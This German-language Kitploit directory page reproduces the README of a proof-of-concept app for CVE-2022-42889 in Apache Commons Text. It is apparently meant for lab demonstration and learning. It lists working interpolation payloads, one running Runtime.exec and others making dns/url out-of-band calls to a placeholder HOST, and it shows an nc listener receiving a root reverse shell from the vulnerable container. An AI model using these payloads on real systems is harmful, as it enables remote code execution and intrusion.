Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2022-42889-POC — Eine einfache Anwendung, die zeigt, wie die Schwachstelle CVE-2022-42889 ausgenutzt werden kann. | Kitploit
Tools/GitHubGitHub/korteke/cve-2022-42889-poc
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungPayload-Entwicklung
GitHubkorteke/cve-2022-42889-poc

CVE-2022-42889-POC

Eine einfache Anwendung, die zeigt, wie die Schwachstelle CVE-2022-42889 ausgenutzt werden kann.

Repository anzeigen
1175vor 3 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2022-42889-POC

Eine einfache Demo-Anwendung, die zeigt, wie die Sicherheitslücke CVE-2022-42889 ausgenutzt werden kann.
Nutzt OOB (Out of Band)-Dienste, um die Präfixe dns und url zu demonstrieren.

JavaDocs für commons-text interpolation commons-text JavaDocs

Beispiel-Interpolationen

  • script:javascript ("${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/blop')}")
  • dns ("${dns:address|HOST}")
  • url ("${url:UTF-8:http://HOST")

Zitat von Rapid7

Die Sicherheitslücke wurde mit Log4Shell verglichen, da es sich um eine Sicherheitslücke auf Ebene einer Open-Source-Bibliothek handelt, die wahrscheinlich eine Vielzahl von Softwareanwendungen betrifft, die das entsprechende Objekt verwenden.
Erste Analysen deuten jedoch darauf hin, dass dies ein schlechter Vergleich ist. Die Art der Sicherheitslücke bedeutet, dass es im Gegensatz zu Log4Shell selten vorkommen wird, dass eine Anwendung die anfällige Komponente von Commons Text verwendet, um nicht vertrauenswürdige, potenziell schädliche Eingaben zu verarbeiten.

Voraussetzungen

  • docker
  • java
  • maven

Java und maven können übersprungen werden, wenn man ein Image von Docker Hub bezieht.

Verwendung

Anwendung bauen

mvn clean package

Docker-Image bauen

docker build -t cve-2022-42889-poc .

Docker-Image ausführen

docker run --rm -p 8081:8081 -t cve-2022-42889-poc

Anwendung aufrufen und Anweisungen folgen

open http://localhost:8081

Überprüfen, dass die Sicherheitslücke eine neue Datei im Verzeichnis /tmp/ erstellt (/tmp/blop)

➜  ~ docker exec -ti cve-2022-42889-poc /bin/ls /tmp

blop		 tomcat-docbase.8081.12439436974042217796
hsperfdata_root  tomcat.8081.2549096106233509364
➜  ~

Reverse Shell. Starten Sie "nc" auf Ihrem lokalen Rechner

➜  ~ nc -lv 4242
root@7cfcd6a39a61:/# whoami && uname -a
whoami && uname -a
root
Linux 7cfcd6a39a61 5.10.76-linuxkit #1 SMP Mon Nov 8 10:21:19 UTC 2021 x86_64 GNU/Linux
root@7cfcd6a39a61:/#

UI

Netzwerkinteraktionsnachweis. Getestet mit lokalem interactsh-client.

Weitere Informationen

  • NIST NVD
  • Rapid 7
Tool herunterladen